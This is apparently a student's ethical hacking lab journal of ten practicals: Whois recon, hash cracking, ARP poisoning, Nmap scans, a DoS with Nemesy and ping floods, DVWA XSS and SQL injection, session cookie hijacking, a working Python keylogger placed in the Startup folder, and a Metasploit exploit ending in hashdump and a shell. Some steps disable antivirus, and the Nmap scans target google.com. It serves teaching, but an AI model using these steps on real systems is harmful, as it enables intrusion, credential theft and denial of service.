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PRACTICAL NO: 1 

Aim: Google and Whois Reconnaissance 

• Use Google search techniques to gather information about a specific target or organization. 

• Utilize advanced search operators to refine search results and access hidden information. 

• Perform Whois lookups to retrieve domain registration information and gather details about the 

target's infrastructure. 

 

Step 1:- Search “flipkart ” on google and take a screenshot of the results displayed. 

   

 

Step 2:- Take a screenshot of side panel containing flipkart information. 

 
 

 

Step 3: - Go to browser and search for https://who.is/ 

 

https://who.is/
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Step 4: - Search for www.flipkart.com/ 

 

 

  
Step 5:- Scroll down and study the information given below 

 

 
 

http://www.flipkart.com/
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Step 6:- Click on dns records 

 

 
 

Step 7:- click on diagnostics 
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PRACTICAL NO: 2 

 

Aim: - Password Encryption and Cracking with CrypTool and Cain and Abel 

 

A. Password Encryption and Decryption: 

1. Use CrypTool to encrypt passwords using the RC4 algorithm.  

2. Decrypt the encrypted passwords and verify the original values. 

 

Step 1: - Open the CrypTool and Create one text file and save the file at some location. 

Example: Type Ethical Hacking. 

 

 
 

 
 

 

 

 

 

Step 2: - Go to Encryption and select the RC4 and encryption in 32 bits. 
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Step 3: - After clicking encrypt you may get the converted message  

 
 

Step 4: - Open the encrypted text file and click on encrypt/decrypt and select the RC4 and decrypt in 32 bits. 

and put the key which you have used to encrypt the text file and click on decrypt  
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Step 5: - The text file will decrypt  
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B. Password Cracking and Wireless Network Password Decoding: 

1. Use Cain and Abel to perform a dictionary attack on Windows account passwords.  

2. Decode wireless network passwords using Cain and Abel's capabilities. 

 

Disable Realtime Security before beginning with the steps. 

Step 1: - Open Cain & Abel and click on Hash Calculator  and type “password” in the “text to hash” 

space and copy the “MD5” output. 

 
 

Step 2: - Go to “Cracker” tab in it click on “MD5 Hashes” and right click in the empty space in the right side 

and paste the copied md5 hash and click on ok. 

 
 

Step 3: - Right click on the hash and select “Dictionary Attack”. 

 

 
 

Step 4: - Right click in the file space and select “Add to list” and go to this loc “C:\Program Files (x86) 

\Cain\Wordlists” 

and add that text file to the list. 
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Step 5: - Click on “Start” and it will be decrypting the hash and the decrypted will be shown in the text box 

below, you can key symbol before the hash. 
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PRACTICAL NO: 3 

Aim: Linux Network Analysis and ARP Poisoning 

A. Linux Network Analysis: ipconfig(Win) / ifconfig(Linux), ping, netstat, tracert(Win) / 

traceroute(Linux). 

 

Open command prompt and type the following commands.  (Windows)  

OR  

Open Terminal in Linux 

1.ipconfig 

 

2.ping <target>   Example: ping 8.8.8.8  

 

3.netstat 

 

 

4.tracert <target> Example: tracert 8.8.8.8 
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.    

 

B. ARP Poisoning 

Disable Realtime Security before downloading Cain&Abel . 

WIN 7 ISO (Download) 

1. Download Cain & Abel on your win 7 machine or VM. (Download) 

2. Open cain abel and start the “sniffier and apr”  by clicking on it and go to “Sniffer” tab 

& then click on the “Blue Plus” sign. 

 
 

3. A pop up named “MAC Address Scanner” will pop up select “All host in my subnet” in target and 

click on “ok”. (you will see a list of host). 

 

 
4. Then go to “APR” tab located in the down side of the window & click on the “Blue Sign” again and 

select the default gateway in the left column and your target device in the right column. 

https://drive.google.com/drive/folders/1fAgInPQ3r0o-pZ0qkM2k7a7dK4mr8TZJ?usp=drive_link
https://web.archive.org/web/20160214132154/http:/www.oxid.it/downloads/ca_setup.exe
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5. Start your sniffer & apr    again if stopped and go to this website on your target device 

and log in.  

http://testphp.vulnweb.com/login.php 

 

 

 

 

 

6. Go to “Passwords” section in the “Sniffer” tab it is located in the down side of the window and click 

on “HTTP” you can see the password. 

 

 

http://testphp.vulnweb.com/login.php
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PRACTICAL NO: 4 

Aim: Port Scanning with Nmap (ACK, SYN, FIN, NULL, XMAS, Target INFO) 

• Download & Install NMap in your Windows Machine (Here) 

Open Command Prompt and Type the following commands 

1.ACK = nmap -sA www.google.com 

 

2.SYN = nmap -sS www.google.com 

 

3.FIN = nmap -sF www.google.com 

 

4.NULL = nmap -sN www.google.com 

https://nmap.org/download.html#windows
http://www.google.com/
http://www.google.com/
http://www.google.com/
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5. XMAS = nmap -sX www.google.com 

 

6. Target INFO =  

 

 

 

 

 

 

http://www.google.com/
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PRACTICAL NO: 5 

Aim: Network Traffic Capture and DoS Attack with Wireshark and Nemesy 

 

A Network Traffic Capture: 

a. Use Wireshark to capture network traffic on a specific network interface. 

b. Analyze the captured packets to extract relevant information and identify potential security issues. 

 

B. Denial of Service (DoS) Attack: 

a Use Nemesy to launch a DoS attack against a target system or network. 

b. Observe the impact of the attack on the target's availability and performance. 

 

A Network Traffic Capture: 

1.Install and launch Wireshark  

 

2.Right Click on Active Ethernet and click Start Capture. 

 

 

3.The Source ,destination, protocols of the packets in LAN network are displayed. 
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4.Write http in the filter box and click on Apply. It will display all the http packets. 

 

 

5.Dont Close Wireshark, Open Web Browser and visit http://testphp.vulnweb.com/login.php 

Enter Username: test 

Enter Password: test  

Click login 

 

http://testphp.vulnweb.com/login.php
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6.Navigate back to Wireshark Then Apply display filter as http.request.method == "POST" 

 

Right click on Entry Containing POST /userinfo

 

Click Follow Stream -> HTTP Stream 

Now we can see the credentials. 

uname=test 

pass=test 

 

 

 

 

B) Denial of Service. 

Before Downloading Nemesy Disable Realtime Security  

1.Download and launch Nemesy.  

Link-Nemesy Download 

  

2. Enter the victim IP and set the Number of Packets and set delay. 

 

3. Click Send 

https://packetstorm.news/download/25599
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We can see that infinite packets are being sent to target ip. 

 

Or as an Alternative method we can use ping flood to cause DOS 

ping -t <target IP> -l 65500 

 

 

 

 

Ping flood can be performed between Host os and Guest OS. 

Pinging from Host-Windows 11  to Guest OS i.e Windows 7 
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PRACTICAL NO: 6 

Aim: Persistent Cross Site Scripting Attack 

• Set up a vulnerable web application that is susceptible to persistent XSS attacks. 

• Craft a malicious script to exploit the XSS vulnerability and execute arbitrary code. 

• Observe the Consequences of the attack and understand the potential risks associated with XSS 

vulnerabilities. 

 

Disable Realtime Security before beginning with the steps. 

1.Download XAMPP (64 bit) and Install XAMPP: XAMPP 

Installing XAMPP is important before downloading DVWA 

2.Download DVWA and extract DVWA: DVWA 

DVWA will be downloaded as Vulnerable APIs source code 

 

 

3.Rename the downloaded digininja-DVWA as DVWA 

 

4.Paste the DVWA folder at C:\xampp\htdocs 

 

 

 

5.Open DVWA folder then open config folder 

 

Rename the config file to config.inc 

 

https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/8.0.30/xampp-windows-x64-8.0.30-0-VS16-installer.exe
https://sourceforge.net/projects/dvwa.mirror/


         TYCS Roll No: 18  

19 
 

Erase the .php.dist section 

6.Open the config file with notepad 

Change the username to “root” 

Change the password field to “” 

 

 

7.Save the config file and Open XAMPP control panel  

Start Apache and Mysql from XAMPP control panel. 

 

 

8.Visit - http://localhost/DVWA/setup.php from browser 

click on the reset database  

 

 

9.Following will be output 

http://localhost/DVWA/setup.php
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10.Login with username and password for Logging in. 

Username – admin 

Password – password 

 

localhost/DVWA/login.php

 

 

 

11.Then navigate to DVWA security level and set the security to low and click on submit. 
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12.Navigate to XSS (stored)  

 

13.Enter the Name and Message as follows: 

 

Name: ABC 

Message:    <script> 

                 { alert(“Hello”) 

                               } 

                     </script> 
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14.Then Click on Sign Guestbook. 

 

 

 

Output: 
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PRACTICAL NO: 7 

Aim: Session Impersonation with Firefox and Tamper Data 

a. Install and configure the Tamper Data add-on in Firefox. 

b. Intercept and modify HTTP requests to impersonate user’s session. 

c. Understand the impact of session impersonation and the importance of session management. 

 

Solution: 

Step1: Install and open Firefox Browser. Go to Addons and search Tamper Data. 

Type about:addons and hit enter 

  

 

 

 

Step2: Search Tamper Data and click on Add to Firefox 
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Step3: Search for Cookie Editor and click on Add to Firefox. 

 

 

Step 4: After adding both the addons, In new tab visit http://www.techpanda.org/ 

Step 5:  Enter Credentials. 

Enter Email: admin@google.com   

Enter Password: Password2010 

 

http://www.techpanda.org/
mailto:admin@google.com
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Click Submit after entering credentials. 

Following page opens,  

 

Step 6: Click on Cookie Editor Add-on on top right corner. Copy Session id. 

 

Click Allow 

 

Click on Cookie Editor from Addons tab Again  
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Copy Session ID:   Example-→   PHPSESSID=9nvnr2j49keggfs815m1f6cf4s 

 

Don’t Logout from techpanda.org and close the tab directly. 

Step7: Go to options/privacy/ and delete the cookies. 

about:preferences:#privacy 

scroll down and click on clear data 

 

Click on Clear then click on clear now 
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Step8: Click on top right corner on Extensions tab and click on Tamper Data. 

 

Click on Start Tamper Data. (Yes) 

 

 

 

 

Step:9 Open a new tab visit  http://www.techpanda.org/index.php 

Following window opens. 

Click Ok 

http://www.techpanda.org/
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Click on Add header. 

 

 

 

Add header Cookie and paste the copied session id and click ok 

 

 

Now again start the tamper data from the top right corner and repeat the same steps for the following 

url  

http://techpanda.org/dashboard.php 
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Click Ok 

Then, find the Cookie header and paste the session id . 

 

Click ok. 

You will be logged in directly without logging in. 

 

                             

 



         TYCS Roll No: 18  

30 
 

PRACTICAL NO: 8 

Aim:  SQL Injection Attack  

• Identify a web application vulnerable to SQL injection. 

• Craft and execute SQL injection queries to exploit the vulnerability.  

• Extract sensitive information or manipulate the database through the SQL injection attack. 

 

Disable Realtime Security before beginning with the steps. 

1.Download XAMPP (64 bit) and Install XAMPP: XAMPP 

Installing XAMPP is important before downloading DVWA 

2.Download DVWA and extract DVWA: DVWA 

DVWA will be downloaded as Vulnerable APIs source code 

 

 

 

 

 

3.Rename the downloaded digininja-DVWA as DVWA 

 

4.Paste the DVWA folder at C:\xampp\htdocs 

 

 

 

 

 

 

 

 

 

 

 

 

1. Open DVWA folder then open config folder 

 

5. Open DVWA folder then open config folder 

5.Open DVWA folder then open config folder 

 

Rename the config file to  config.inc.php  

https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/8.0.30/xampp-windows-x64-8.0.30-0-VS16-installer.exe
https://sourceforge.net/projects/dvwa.mirror/
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Erase the “.dist” section 

6.Open the config file with notepad Change the username to “root” Change the password field to 

“” 

 

 

7.Save the config file and Open XAMPP control panel 

Start Apache and Mysql from XAMPP control panel. 

 
 

 

8.Visit - http://localhost/DVWA/setup.php from browser 

click on the reset database 

 

 

 

9.Following will be output 

http://localhost/DVWA/setup.php
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10.Login with username and password for Logging in. 

Username admin Password – password 

localhost/DVWA/login.php 

 

 

 

 

 

11.Set the DVWA security level in 

DVWA security tab to low. 

 

 

 

12. Navigate to SQL Injection tab: 
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13.In user ID section enter 1: 

    

 

14.Enter User ID as ‘OR ‘a’=’a 
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15.Enter user ID as 2 

    

 

16.Enter User ID as 3 

    

 

17.Enter User ID as 4 
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PRACTICAL NO: 9 

Aim: Creating Keylogger with python 

1.Write a Python script to capture and log keystrokes. 

2.Execute the script and observe logged keystrokes. 

3.Understand the security risks associated with keyloggers and the importance of protection. 

 

Pre-requisites: 

Install pynput library: 

pip install pynput 

 

 

 

Before writing the python script we need to turn off the real time security settings. 

  

 

Steps to Implement Keylogger: 

Step 1: Write the Python Script 

Create a new Python file and add the following code: 

 

from pynput.keyboard import Key, Listener 

import logging 

# Set the directory where logs will be stored 

#change this directory as per your pc directory  

log_dir = "C:/Users/Sumit/Desktop/EH" 

# Configure logging to store key logs 
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logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: 

%(message)s') 

# Function to capture keystrokes 

def on_press(key): 

    logging.info(str(key)) 

# Start listening for key presses 

with Listener(on_press=on_press) as listener: 

    listener.join() 

 

 

 

#fix_for_unicode_error 

In case we get an unicode error try changing the \ to /  

 

Step 2: Save the File 

Save the file with a .pyw extension (e.g., keylogger.pyw) to run it in the background without opening a 

console window. 

 

 

Step 3: Copy to Startup Folder (optional step) 

 # We can directly place it on desktop rather than saving on startup folder 

#optional step 
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Copy the saved file to the system startup folder so it runs automatically on startup. 

Press Win + R, type %appdata%, and navigate to: 

C:\Users\YourUsername\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 

Paste the keylogger.pyw file here. 

 

Step 4: Run the Script  

Double-click the keylogger.pyw file to execute it in the background. 

 

Step 5: Check Logged Keystrokes 

The keystrokes will be logged in key_log.txt inside the specified directory. 

  

 

 

 

Output: 

 

 

Security Considerations 

Keyloggers are powerful tools and can be misused for malicious purposes. 

Always use them ethically for security testing and educational purposes. 

Protect your system by using anti-keylogging software and keeping your antivirus updated 
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PRACTICAL NO: 10 

Aim: Exploiting with Metasploit (Kali Linux)  

• Identify a vulnerable system and exploit it using Metasploit modules  

• Gain unauthorized access to the target system and execute commands or extract information.  

• Understand the ethical considerations and legal implications of using Metasploit for penetration testing 

 

1. Setting Up the Environment 

Virtual Machine Configuration: 

• Use Kali Linux as the attacker machine and Windows 7 as the target system. 

• Configure both VMs in Bridge Adapter mode (so they act as separate systems on the same 

network). 

Vulnerable Software Installation: 

• Install BadBlue on Windows 7 (a vulnerable file server with buffer overflow issues). 

• Download BadBlue from the FileBear website and install it. 

Launch BadBlue on Windows 7 

 

 

2. Exploiting the Target System with Metasploit 

Now, Open terminal in kali and put the below commands:  

1. service postgresql start(it will ask password, you can put kali over there)  

2. service postgresql status (we have started sql so that it can store the values, output during exploit using 

metasploit as if we close metasploit it can be stored in the database)  

https://filesbear.com/windows/internet/file-sharing/badblue-easy-file-sharing-server/
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3. msfconsole(to start metasploit)  

 

4. search badblue (you can see exploit /windows/http/badblue)  

 

5. use 1  
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6. options (you can see metapreter over there & you get the system acces via command lines)  

 

7. set rhost 192.160.128.111 

 

 8. exploit/ run (if exploit command does not work, then use run)  

 

9. sysinfo  

10.?  

11. hashdump (you can see hash code and decrypt afterwards)  

12. shell (now you are in shell and can see the directory and do the changes) 

Pinging to check if target machine reachable 

Ping <target_ip> 

 


